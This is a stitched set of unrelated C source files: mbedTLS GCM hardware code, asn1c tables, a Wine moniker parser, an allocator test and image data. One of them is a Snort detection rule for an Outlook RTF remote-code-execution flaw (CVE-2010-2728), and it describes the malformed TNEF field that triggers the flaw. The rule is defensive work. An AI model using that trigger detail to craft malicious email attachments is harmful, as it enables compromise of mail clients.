char *output, size_t output_size, size_t *output_length ) { int32_t ret; int32_t len, len_aligned; uint32_t u32Size; GCM_VALIDATE_RET( ctx != NULL ); GCM_VALIDATE_RET( length == 0 || input != NULL ); GCM_VALIDATE_RET( length == 0 || output != NULL ); GCM_VALIDATE_RET( (length & 0xf) == 0 ); if( input_length > output_size ) return( MBEDTLS_ERR_GCM_BAD_INPUT ); len = (int32_t)input_length; /* Error if length too large */ if(len != input_length) return( MBEDTLS_ERR_GCM_BAD_INPUT ); if(len + ctx->gcm_buf_bytes > MAX_GCM_BUF) return (MBEDTLS_ERR_GCM_BAD_INPUT); len_aligned = (len & 0xf)?(len & (~0xful))+16:len; if(len == 0) { CRPT->AES_GCM_PCNT[0] = ctx->len; CRPT->AES_CNT = ctx->gcm_buf_bytes; if(ctx->firstFlag == 1) { /* No any P/C data, just use one shot to redo */ AES_Run(ctx->basicOpt); ctx->gcm_buf_bytes = 0; /* The tag should be in out_buf if P len is 0 */ memcpy(ctx->tag, ctx->out_buf, 16); ctx->endFlag = 1; ctx->firstFlag = 0; } else { /* zero block, it should be end of gcm. Restore feedback buffer and do GCM again with last cascade */ memcpy(ctx->fb_buf, ctx->fb_buf2, 72); CRPT->AES_GCM_PCNT[0] = ctx->len; if((ret = AES_Run(ctx->basicOpt | FBIN | FBOUT | DMACC | DMALAST))) { return ret; } ctx->gcm_buf_bytes = 0; ctx->endFlag = 1; /* Output p/c data */ memcpy(output, ctx->out_buf, len); *output_length = len; /* Output tag */ memcpy(ctx->tag, ctx->out_buf+len_aligned, 16); } } else { if(len <= MAX_GCM_BUF) { AES_GCMPacker(0, 0, 0, 0, input, len, ctx->gcm_buf, &u32Size); ctx->len += len; ctx->gcm_buf_bytes = u32Size; } else { /* Over buffer size */ return (MBEDTLS_ERR_GCM_BAD_INPUT); } /* Do GCM with cascade */ if(len & 0xf) { /* No 16 bytes alignment, it should be last */ CRPT->AES_GCM_PCNT[0] = ctx->len; CRPT->AES_CNT = u32Size; if((ret = AES_Run(ctx->basicOpt | FBIN | FBOUT | DMACC | DMALAST))) { return ret; } ctx->endFlag = 1; } else { /* backup feedback buffer. If this is last block, we could back feedback buffer to do it again. */ memcpy(ctx->fb_buf2, ctx->fb_buf, 72); CRPT->AES_CNT = u32Size; ctx->gcm_buf_bytes = u32Size; if((ret = AES_Run(ctx->basicOpt | FBIN | FBOUT | DMACC))) { return ret; } } /* Output p/c data */ memcpy(output, ctx->out_buf, len); *output_length = len; if(ctx->endFlag) { /* Output tag */ memcpy(ctx->tag, ctx->out_buf+len_aligned, 16); } } return( 0 ); } int mbedtls_gcm_finish( mbedtls_gcm_context *ctx, unsigned char *output, size_t output_size, size_t *output_length, unsigned char *tag, size_t tag_len ) { int32_t ret; GCM_VALIDATE_RET( ctx != NULL ); GCM_VALIDATE_RET( tag != NULL ); if(ctx->endFlag == 0) { /* end the gcm */ CRPT->AES_GCM_PCNT[0] = ctx->len; memcpy(ctx->fb_buf, ctx->fb_buf2, 72); if((ret = AES_Run(ctx->basicOpt | FBIN | FBOUT | DMACC | DMALAST))) { return ret; } ctx->endFlag = 1; /* The tag should be in out_buf if P len is 0 */ memcpy(ctx->tag, ctx->out_buf+ctx->gcm_buf_bytes, 16); } if(tag_len > 16) { tag_len = 16; } memcpy(tag, ctx->tag, tag_len); *output_length = 0; return( 0 ); } int mbedtls_gcm_crypt_and_tag( mbedtls_gcm_context *ctx, int mode, size_t length, const unsigned char *iv, size_t iv_len, const unsigned char *add, size_t add_len, const unsigned char *input, unsigned char *output, size_t tag_len, unsigned char *tag ) { int ret; GCM_VALIDATE_RET( ctx != NULL ); GCM_VALIDATE_RET( iv != NULL ); GCM_VALIDATE_RET( add_len == 0 || add != NULL ); GCM_VALIDATE_RET( length == 0 || input != NULL ); GCM_VALIDATE_RET( length == 0 || output != NULL ); GCM_VALIDATE_RET( tag != NULL ); ctx->mode = mode; if(mode) { ctx->basicOpt |= CRPT_AES_CTL_ENCRPT_Msk; } else { ctx->basicOpt &= ~CRPT_AES_CTL_ENCRPT_Msk; } ret = _GCM(ctx, iv, iv_len, add, add_len, input, length, output, tag, tag_len); return (ret); } int mbedtls_gcm_auth_decrypt( mbedtls_gcm_context *ctx, size_t length, const unsigned char *iv, size_t iv_len, const unsigned char *add, size_t add_len, const unsigned char *tag, size_t tag_len, const unsigned char *input, unsigned char *output ) { int ret; unsigned char check_tag[16]; size_t i; int diff; GCM_VALIDATE_RET( ctx != NULL ); GCM_VALIDATE_RET( iv != NULL ); GCM_VALIDATE_RET( add_len == 0 || add != NULL ); GCM_VALIDATE_RET( tag != NULL ); GCM_VALIDATE_RET( length == 0 || input != NULL ); GCM_VALIDATE_RET( length == 0 || output != NULL ); if( ( ret = mbedtls_gcm_crypt_and_tag( ctx, MBEDTLS_GCM_DECRYPT, length, iv, iv_len, add, add_len, input, output, tag_len, check_tag ) ) != 0 ) { return( ret ); } /* Check tag in "constant-time" */ for( diff = 0, i = 0; i < tag_len; i++ ) diff |= tag[i] ^ check_tag[i]; if( diff != 0 ) { mbedtls_platform_zeroize( output, length ); return( MBEDTLS_ERR_GCM_AUTH_FAILED ); } return( 0 ); } void mbedtls_gcm_free( mbedtls_gcm_context *ctx ) { if( ctx == NULL ) return; mbedtls_cipher_free( &ctx->cipher_ctx ); mbedtls_platform_zeroize( ctx, sizeof( mbedtls_gcm_context ) ); } #endif /* MBEDTLS_GCM_ALT */ #endif /* MBEDTLS_GCM_C */
759954.c
/* * Generated by asn1c-0.9.29 (http://lionet.info/asn1c) * From ASN.1 module "F1AP-PDU-Contents" * found in "/home/labuser/Desktop/openairinterface5g_f1ap/openair2/F1AP/MESSAGES/ASN1/R15.2.1/F1AP-PDU-Contents.asn" * `asn1c -gen-PER -fcompound-names -no-gen-example -findirect-choice -fno-include-deps -D /home/labuser/Desktop/openairinterface5g_f1ap/cmake_targets/lte_build_oai/build/CMakeFiles/F1AP_R15.2.1` */ #include "F1AP_DRBs-FailedToBeSetup-List.h" #include "F1AP_ProtocolIE-SingleContainer.h" static asn_oer_constraints_t asn_OER_type_F1AP_DRBs_FailedToBeSetup_List_constr_1 CC_NOTUSED = { { 0, 0 }, -1 /* (SIZE(1..64)) */}; static asn_per_constraints_t asn_PER_type_F1AP_DRBs_FailedToBeSetup_List_constr_1 CC_NOTUSED = { { APC_UNCONSTRAINED, -1, -1, 0, 0 }, { APC_CONSTRAINED, 6, 6, 1, 64 } /* (SIZE(1..64)) */, 0, 0 /* No PER value map */ }; static asn_TYPE_member_t asn_MBR_F1AP_DRBs_FailedToBeSetup_List_1[] = { { ATF_POINTER, 0, 0, (ASN_TAG_CLASS_UNIVERSAL | (16 << 2)), 0, &asn_DEF_F1AP_ProtocolIE_SingleContainer_126P23, 0, { 0, 0, 0 }, 0, 0, /* No default value */ "" }, }; static const ber_tlv_tag_t asn_DEF_F1AP_DRBs_FailedToBeSetup_List_tags_1[] = { (ASN_TAG_CLASS_UNIVERSAL | (16 << 2)) }; static asn_SET_OF_specifics_t asn_SPC_F1AP_DRBs_FailedToBeSetup_List_specs_1 = { sizeof(struct F1AP_DRBs_FailedToBeSetup_List), offsetof(struct F1AP_DRBs_FailedToBeSetup_List, _asn_ctx), 0, /* XER encoding is XMLDelimitedItemList */ }; asn_TYPE_descriptor_t asn_DEF_F1AP_DRBs_FailedToBeSetup_List = { "DRBs-FailedToBeSetup-List", "DRBs-FailedToBeSetup-List", &asn_OP_SEQUENCE_OF, asn_DEF_F1AP_DRBs_FailedToBeSetup_List_tags_1, sizeof(asn_DEF_F1AP_DRBs_FailedToBeSetup_List_tags_1) /sizeof(asn_DEF_F1AP_DRBs_FailedToBeSetup_List_tags_1[0]), /* 1 */ asn_DEF_F1AP_DRBs_FailedToBeSetup_List_tags_1, /* Same as above */ sizeof(asn_DEF_F1AP_DRBs_FailedToBeSetup_List_tags_1) /sizeof(asn_DEF_F1AP_DRBs_FailedToBeSetup_List_tags_1[0]), /* 1 */ { &asn_OER_type_F1AP_DRBs_FailedToBeSetup_List_constr_1, &asn_PER_type_F1AP_DRBs_FailedToBeSetup_List_constr_1, SEQUENCE_OF_constraint }, asn_MBR_F1AP_DRBs_FailedToBeSetup_List_1, 1, /* Single element */ &asn_SPC_F1AP_DRBs_FailedToBeSetup_List_specs_1 /* Additional specs */ };
591402.c
/* * Vuln Title: XXXX * * Copyright (C) 2005-2010 Sourcefire, Inc. All Rights Reserved * * Written by XXXX, Sourcefire VRT <[email protected]> * * Auto-generated by XXXX * * This file may contain proprietary rules that were created, tested and * certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as * rules that were created by Sourcefire and other third parties and * distributed under the GNU General Public License (the "GPL Rules"). The * VRT Certified Rules contained in this file are the property of * Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved. * The GPL Rules created by Sourcefire, Inc. are the property of * Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights * Reserved. All other GPL Rules are owned and copyrighted by their * respective owners (please see www.snort.org/contributors for a list of * owners and their respective copyrights). In order to determine what * rules are VRT Certified Rules or GPL Rules, please refer to the VRT * Certified Rules License Agreement. */ #include "sf_snort_plugin_api.h" #include "sf_snort_packet.h" #include "so-util_base64-decode.h" #define MAX_BASE64_BUFFER_SIZE 256 /* declare detection functions */ int rule17251eval(void *p); /* declare rule data structures */ /* flow:established, to_server; */ static FlowFlags rule17251flow0 = { FLOW_ESTABLISHED|FLOW_TO_SERVER }; static RuleOption rule17251option0 = { OPTION_TYPE_FLOWFLAGS, { &rule17251flow0 } }; #ifndef CONTENT_FAST_PATTERN #define CONTENT_FAST_PATTERN 0 #endif // content:"Content-Type|3A| application/ms-tnef", relative, depth 0, nocase, fast_pattern; static ContentInfo rule17251content1 = { (uint8_t *) "Content-Type|3A| application/ms-tnef", /* pattern (now in snort content format) */ 0, /* depth */ 0, /* offset */ CONTENT_NOCASE|CONTENT_FAST_PATTERN|CONTENT_RELATIVE|CONTENT_BUF_NORMALIZED, /* flags */ NULL, /* holder for boyer/moore PTR */ NULL, /* more holder info - byteform */ 0, /* byteform length */ 0 /* increment length*/ }; static RuleOption rule17251option1 = { OPTION_TYPE_CONTENT, { &rule17251content1 } }; // content:"Content-Transfer-Encoding|3A| base64", depth 0, nocase, relative; static ContentInfo rule17251content2 = { (uint8_t *) "Content-Transfer-Encoding|3A| base64", /* pattern (now in snort content format) */ 0, /* depth */ 0, /* offset */ CONTENT_NOCASE|CONTENT_RELATIVE|CONTENT_BUF_NORMALIZED, /* flags */ NULL, /* holder for boyer/moore PTR */ NULL, /* more holder info - byteform */ 0, /* byteform length */ 0 /* increment length*/ }; static RuleOption rule17251option2 = { OPTION_TYPE_CONTENT, { &rule17251content2 } }; // content:"|0D 0A 0D 0A|", depth 0, relative; static ContentInfo rule17251content3 = { (uint8_t *) "|0D 0A 0D 0A|", /* pattern (now in snort content format) */ 0, /* depth */ 0, /* offset */ CONTENT_RELATIVE|CONTENT_BUF_NORMALIZED, /* flags */ NULL, /* holder for boyer/moore PTR */ NULL, /* more holder info - byteform */ 0, /* byteform length */ 0 /* increment length*/ }; static RuleOption rule17251option3 = { OPTION_TYPE_CONTENT, { &rule17251content3 } }; /* references for sid 17251 */ /* reference: cve "2010-2728"; */ static RuleReference rule17251ref1 = { "cve", /* type */ "2010-2728" /* value */ }; /* reference: url "technet.microsoft.com/en-us/security/bulletin/MS10-064"; */ static RuleReference rule17251ref2 = { "url", /* type */ "technet.microsoft.com/en-us/security/bulletin/MS10-064" /* value */ }; static RuleReference *rule17251refs[] = { &rule17251ref1, &rule17251ref2, NULL }; /* metadata for sid 17251 */ /* metadata:service smtp, policy security-ips drop; */ static RuleMetaData rule17251service1 = { "service smtp" }; //static RuleMetaData rule17251policy1 = //{ // "policy security-ips drop" //}; static RuleMetaData *rule17251metadata[] = { &rule17251service1, // &rule17251policy1, NULL }; RuleOption *rule17251options[] = { &rule17251option0, &rule17251option1, &rule17251option2, &rule17251option3, NULL }; Rule rule17251 = { /* rule header, akin to => tcp any any -> any any */ { IPPROTO_TCP, /* proto */ "$EXTERNAL_NET", /* SRCIP */ "any", /* SRCPORT */ 0, /* DIRECTION */ "$HOME_NET", /* DSTIP */ "25", /* DSTPORT */ }, /* metadata */ { 3, /* genid */ 17251, /* sigid */ 7, /* revision */ "attempted-admin", /* classification */ 0, /* hardcoded priority XXX NOT PROVIDED BY GRAMMAR YET! */ "FILE-OFFICE Outlook RTF remote code execution attempt", /* message */ rule17251refs /* ptr to references */ ,rule17251metadata }, rule17251options, /* ptr to rule options */ &rule17251eval, /* use the built in detection function */ 0 /* am I initialized yet? */ }; /* detection functions */ int rule17251eval(void *p) { const uint8_t *cursor_normal = 0, *end_of_buffer = 0; uint8_t decodedbuf[MAX_BASE64_BUFFER_SIZE], *decodedbuf_ptr, *decodedend_ptr; uint32_t decodedbytes, number_of_entries = 0, entry_ctr = 0, size_of_entry = 0; SFSnortPacket *sp = (SFSnortPacket *) p; uint32_t tmpval; if(sp == NULL) return RULE_NOMATCH; if(sp->payload == NULL) return RULE_NOMATCH; // flow:established, to_server; if (checkFlow(p, rule17251options[0]->option_u.flowFlags) > 0 ) { if(getBuffer(sp, CONTENT_BUF_NORMALIZED, &cursor_normal, &end_of_buffer) != CURSOR_IN_BOUNDS) { return RULE_NOMATCH; } // content:"Content-Type|3A| application/ms-tnef", depth 0, relative, nocase, fast_pattern; while(contentMatch(p, rule17251options[1]->option_u.content, &cursor_normal) > 0) { // content:"Content-Transfer-Encoding|3A| base64", depth 0, nocase, relative; if (contentMatch(p, rule17251options[2]->option_u.content, &cursor_normal) <= 0) { continue; } // content:"|0D 0A 0D 0A|", depth 0, relative; if (contentMatch(p, rule17251options[3]->option_u.content, &cursor_normal) <= 0) { continue; } // Make sure we can actually decode the data if(base64decode(cursor_normal, MAX_BASE64_BUFFER_SIZE, decodedbuf, sizeof(decodedbuf), &decodedbytes) < 0) { continue; } // Keep the decodedbuf for later decodedbuf_ptr = decodedbuf; decodedend_ptr = decodedbuf_ptr + decodedbytes; // Make sure there's enough data to get through the first iteration if(decodedbytes < 22) return RULE_NOMATCH; // Verify the TNEF header tmpval = *decodedbuf_ptr++; tmpval |= *decodedbuf_ptr++ << 8; tmpval |= *decodedbuf_ptr++ << 16; tmpval |= *decodedbuf_ptr++ << 24; if(tmpval == 0x223E9F78) { tmpval = *decodedbuf_ptr++; tmpval |= *decodedbuf_ptr++ << 8; if(tmpval == 0x0001) { // Message level if((*decodedbuf_ptr++ == 0x01)) { // Message Identifier decodedbuf_ptr += 4; // Search for PidTagRtfCompressed while(decodedbuf_ptr + 12 < decodedend_ptr) { tmpval = *decodedbuf_ptr++; tmpval |= *decodedbuf_ptr++ << 8; tmpval |= *decodedbuf_ptr++ << 16; tmpval |= *decodedbuf_ptr++ << 24; if(tmpval == 0x10090102) { number_of_entries = *decodedbuf_ptr++; number_of_entries |= *decodedbuf_ptr++ << 8; number_of_entries |= *decodedbuf_ptr++ << 16; number_of_entries |= *decodedbuf_ptr++ << 24; // Limiting to 10 in case of a dos if(number_of_entries < 10) { for(entry_ctr = 0; entry_ctr < number_of_entries; entry_ctr++) { if(decodedbuf_ptr + 8 > decodedend_ptr) return RULE_NOMATCH; decodedbuf_ptr += 4; // Check for vulnerable condition tmpval = *decodedbuf_ptr++; tmpval |= *decodedbuf_ptr++ << 8; tmpval |= *decodedbuf_ptr++ << 16; tmpval |= *decodedbuf_ptr++ << 24; if(tmpval < 12) { return RULE_MATCH; } if(decodedbuf_ptr + 4 > decodedend_ptr) return RULE_NOMATCH; // Guess it's okay. Skip. size_of_entry = *decodedbuf_ptr++; size_of_entry |= *decodedbuf_ptr++ << 8; size_of_entry |= *decodedbuf_ptr++ << 16; size_of_entry |= *decodedbuf_ptr++ << 24; // Jump the rest of the blob decodedbuf_ptr += size_of_entry; // any padding decodedbuf_ptr += (size_of_entry % 16); // and two byte checksum decodedbuf_ptr += 2; } } } else { // Rollback 4 bytes if we didn't find out value decodedbuf_ptr -= 3; continue; } decodedbuf_ptr++; } } } } } } return RULE_NOMATCH; } /* Rule *rules[] = { &rule17251, NULL }; */
498477.c
/* * IParseDisplayName implementation for DEVENUM.dll * * Copyright (C) 2002 Robert Shearman * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA * * NOTES ON THIS FILE: * - Implements IParseDisplayName interface which creates a moniker * from a string in a special format */ #include "devenum_private.h" #include "wine/debug.h" WINE_DEFAULT_DEBUG_CHANNEL(devenum); static HRESULT WINAPI DEVENUM_IParseDisplayName_QueryInterface( LPPARSEDISPLAYNAME iface, REFIID riid, LPVOID *ppvObj) { TRACE("\n\tIID:\t%s\n",debugstr_guid(riid)); if (ppvObj == NULL) return E_POINTER; if (IsEqualGUID(riid, &IID_IUnknown) || IsEqualGUID(riid, &IID_IParseDisplayName)) { *ppvObj = iface; IParseDisplayName_AddRef(iface); return S_OK; } FIXME("- no interface IID: %s\n", debugstr_guid(riid)); return E_NOINTERFACE; } /********************************************************************** * DEVENUM_IParseDisplayName_AddRef (also IUnknown) */ static ULONG WINAPI DEVENUM_IParseDisplayName_AddRef(LPPARSEDISPLAYNAME iface) { TRACE("\n"); DEVENUM_LockModule(); return 2; /* non-heap based object */ } /********************************************************************** * DEVENUM_IParseDisplayName_Release (also IUnknown) */ static ULONG WINAPI DEVENUM_IParseDisplayName_Release(LPPARSEDISPLAYNAME iface) { TRACE("\n"); DEVENUM_UnlockModule(); return 1; /* non-heap based object */ } /********************************************************************** * DEVENUM_IParseDisplayName_ParseDisplayName * * Creates a moniker referenced to by the display string argument * * POSSIBLE BUGS: * Might not handle more complicated strings properly (ie anything * not in "@device:sw:{CLSID1}\<filter name or CLSID>" format */ static HRESULT WINAPI DEVENUM_IParseDisplayName_ParseDisplayName( LPPARSEDISPLAYNAME iface, IBindCtx *pbc, LPOLESTR pszDisplayName, ULONG *pchEaten, IMoniker **ppmkOut) { LPOLESTR pszBetween = NULL; LPOLESTR pszClass = NULL; MediaCatMoniker * pMoniker = NULL; CLSID clsidDevice; HRESULT res = S_OK; WCHAR wszRegKeyName[MAX_PATH]; HKEY hbasekey; int classlen; static const WCHAR wszRegSeparator[] = {'\\', 0 }; TRACE("(%p, %s, %p, %p)\n", pbc, debugstr_w(pszDisplayName), pchEaten, ppmkOut); *ppmkOut = NULL; if (pchEaten) *pchEaten = strlenW(pszDisplayName); pszDisplayName = strchrW(pszDisplayName, '{'); pszBetween = strchrW(pszDisplayName, '}') + 2; /* size = pszBetween - pszDisplayName - 1 (for '\\' after CLSID) * + 1 (for NULL character) */ classlen = (int)(pszBetween - pszDisplayName - 1); pszClass = CoTaskMemAlloc((classlen + 1) * sizeof(WCHAR)); if (!pszClass) return E_OUTOFMEMORY; memcpy(pszClass, pszDisplayName, classlen * sizeof(WCHAR)); pszClass[classlen] = 0; TRACE("Device CLSID: %s\n", debugstr_w(pszClass)); res = CLSIDFromString(pszClass, &clsidDevice); if (SUCCEEDED(res)) { res = DEVENUM_GetCategoryKey(&clsidDevice, &hbasekey, wszRegKeyName, MAX_PATH); } if (SUCCEEDED(res)) { pMoniker = DEVENUM_IMediaCatMoniker_Construct(); if (pMoniker) { strcatW(wszRegKeyName, wszRegSeparator); strcatW(wszRegKeyName, pszBetween); if (RegCreateKeyW(hbasekey, wszRegKeyName, &pMoniker->hkey) == ERROR_SUCCESS) *ppmkOut = (LPMONIKER)pMoniker; else { IMoniker_Release((LPMONIKER)pMoniker); res = MK_E_NOOBJECT; } } } CoTaskMemFree(pszClass); TRACE("-- returning: %x\n", res); return res; } /********************************************************************** * IParseDisplayName_Vtbl */ static const IParseDisplayNameVtbl IParseDisplayName_Vtbl = { DEVENUM_IParseDisplayName_QueryInterface, DEVENUM_IParseDisplayName_AddRef, DEVENUM_IParseDisplayName_Release, DEVENUM_IParseDisplayName_ParseDisplayName }; /* The one instance of this class */ ParseDisplayNameImpl DEVENUM_ParseDisplayName = { &IParseDisplayName_Vtbl };
650921.c
#define AUTIL_IMPLEMENTATION #include "../autil.h" #if defined(__has_feature) # if __has_feature(address_sanitizer) # define AUTIL_ASAN_ENABLED # endif #elif defined(__GNUC__) && defined(__SANITIZE_ADDRESS__) # define AUTIL_ASAN_ENABLED #endif int main(void) { size_t const size = 4096; char* const mem = autil_xalloc(NULL, size); for (size_t i = 0; i < size; ++i) { // Set each byte to some value just to make source touching that address // doesn't cause a segfault. mem[i] = 'A'; } // Free memory. autil_xalloc(mem, AUTIL_XALLOC_FREE); #ifndef AUTIL_ASAN_ENABLED // Crash the program by asking for more memory than the system could ever // provide from a single allocation, thus causing realloc to return NULL // and triggering an out-of-memory condition in autil_xalloc. // This behavior has been tested with the realloc implementation in glibc // and musl libc. autil_xalloc(NULL, (size_t)-1); #else puts("error: [autil_xalloc] Out of memory"); exit(EXIT_FAILURE); #endif puts("UNREACHABLE"); return EXIT_SUCCESS; }
233753.c
// convpng v6.8 #include <stdint.h> #include "logo_gfx.h" // 8 bpp image uint8_t sand_data[785] = { 27,29, // width,height 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x04,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x04,0x54,0x54,0x54,0x4E,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x4E,0x5E,0x64,0x54,0x5E,0x54,0x7B,0x64,0x04,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x04,0x64,0x54,0x54,0x54,0x9A,0x54,0x64,0x54,0x54,0x54,0x7B,0x04,0x04,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x04,0x04,0x54,0x54,0x64,0x5E,0x54,0x7C,0x54,0x64,0x54,0x5E,0x54,0x64,0x54,0x7B,0x54,0x04,0x04,0x00,0x00,0x00,0x00, 0x00,0x00,0x04,0x04,0x54,0x54,0x64,0x64,0x5E,0x64,0x64,0x64,0x64,0x64,0x7C,0x64,0x64,0x54,0x5E,0x54,0x64,0x54,0x54,0x04,0x04,0x00,0x00, 0x00,0x4E,0x7B,0x64,0x54,0x64,0x9A,0x64,0x54,0x5E,0x54,0x9A,0x5E,0x64,0x5E,0x7C,0x9A,0x54,0x64,0x7C,0x5E,0x7C,0x64,0x54,0x7C,0x04,0x00, 0x00,0x04,0x4E,0x04,0x5E,0x54,0x54,0x64,0x64,0x64,0x64,0x54,0x64,0x9A,0x64,0x7B,0x7C,0x9A,0x7C,0x64,0x64,0x54,0x7B,0x04,0x4E,0x04,0x00, 0x00,0x04,0x9A,0xC7,0x04,0x04,0x54,0x7B,0x54,0x9A,0x5E,0x64,0x54,0x64,0x5E,0x64,0x5E,0x5E,0x54,0x5E,0x54,0x04,0x04,0xAF,0xDC,0x04,0x00, 0x00,0x04,0x7C,0x5E,0x7C,0x7C,0x04,0x04,0x64,0x7C,0x64,0x7C,0x64,0x54,0x7C,0x64,0x64,0x54,0x54,0x4E,0x04,0xAF,0xBB,0xBB,0xBA,0x04,0x00, 0x00,0x04,0x64,0x7C,0x5E,0x5E,0x5E,0x5E,0x4E,0x04,0x54,0x5E,0x64,0x64,0x54,0x54,0x7B,0x04,0x04,0xAF,0xAF,0xBA,0xBA,0xAF,0xD7,0x04,0x00, 0x00,0x04,0x64,0x64,0xC7,0x7C,0x7C,0x64,0x5E,0x7C,0x04,0x04,0x64,0x64,0x54,0x4E,0x04,0xD7,0xAF,0xBB,0xAF,0xBA,0xBB,0xBA,0xD7,0x04,0x00, 0x00,0x04,0x64,0x5E,0xC7,0xC7,0x5E,0xC7,0x7C,0xC7,0x7C,0x7C,0x04,0x04,0x04,0xBB,0xAF,0xBA,0xBA,0xBA,0xBB,0xAF,0xAF,0xAF,0xDC,0x04,0x00, 0x00,0x04,0x7C,0xC7,0x5E,0x7B,0x7C,0x5E,0x5E,0x5E,0xC7,0x7C,0x7B,0x04,0xBB,0xAF,0xBA,0xAF,0xAF,0xBB,0xAF,0xBB,0xBA,0xBA,0xD7,0x04,0x00, 0x00,0x04,0x9A,0x7C,0x5E,0x7C,0x7C,0x64,0x7C,0x5E,0xC7,0x5E,0xE1,0x4E,0xBA,0xBB,0xAF,0xBB,0xBB,0xBA,0xBA,0xBA,0xBA,0xBB,0xDC,0x4E,0x00, 0x00,0x04,0x64,0xC7,0xC7,0x5E,0xC7,0x7C,0xC7,0x64,0x5E,0xC7,0xC7,0x04,0xAF,0xAF,0xBA,0xAF,0xBB,0xBB,0xBA,0xBA,0xBA,0xBA,0xD7,0x04,0x00, 0x00,0x04,0x5E,0xC7,0x9A,0x64,0xC7,0xC7,0x5E,0x7C,0xC7,0x5E,0x7B,0x04,0xBB,0xAF,0xBA,0xAF,0xBB,0xBB,0xAF,0xAF,0xBB,0xAF,0xDC,0x04,0x00, 0x00,0x04,0x5E,0xC7,0xC7,0x7C,0x7C,0xC7,0x7C,0xC7,0x5E,0xAA,0xC7,0x04,0xAF,0xAF,0xBA,0xAF,0xBA,0xAF,0xBB,0xAF,0xAF,0xBA,0xDC,0x04,0x00, 0x00,0x04,0x5E,0x7C,0xC7,0x5E,0xC7,0xC7,0xC7,0x7C,0xC7,0x9A,0xE1,0x04,0xBB,0xBB,0xAF,0xBA,0xAF,0xAF,0xBA,0xBA,0xAF,0xBA,0xDC,0x04,0x00, 0x00,0x04,0x7C,0x7C,0xC7,0xC7,0x5E,0x9A,0xC7,0x5E,0x7C,0x5E,0xC7,0x04,0xBA,0xBA,0xBA,0xBB,0xAF,0xBA,0xD7,0xBA,0xBB,0xBB,0xAF,0x04,0x00, 0x00,0x04,0x5E,0x5E,0x5E,0x8C,0x64,0x7C,0xC7,0x9A,0x7C,0xC7,0x7C,0x04,0xAF,0xBB,0xBB,0xD7,0xBA,0xBB,0xAF,0xD7,0xBA,0xBB,0xAF,0x04,0x00, 0x00,0x00,0x4E,0x77,0x7C,0x5E,0x5E,0x7C,0x5E,0xC7,0x7C,0x7C,0xC7,0x04,0xAF,0xBA,0xBB,0xAF,0xBA,0xAF,0xBA,0xBA,0xAF,0x04,0x04,0x00,0x00, 0x00,0x00,0x00,0x00,0x04,0x04,0x7C,0x7C,0x7C,0x5E,0x64,0x7C,0xC7,0x4E,0xAF,0xBB,0xBB,0xAF,0xAF,0xBB,0xAF,0x4E,0x04,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x04,0x7C,0x7C,0x7C,0xE1,0xE1,0x4E,0xAF,0xBA,0xAF,0xAF,0xAF,0x04,0x04,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x04,0x7C,0x5E,0xE1,0x04,0xBB,0xBA,0xAF,0x04,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x04,0xC7,0x04,0xBA,0x04,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x04,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, };
214015.c
/**************************************************************************** * graphics/vnc/vnc_negotiate.c * * Copyright (C) 2016 Gregory Nutt. All rights reserved. * Author: Gregory Nutt <[email protected]> * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * 3. Neither the name NuttX nor the names of its contributors may be * used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY 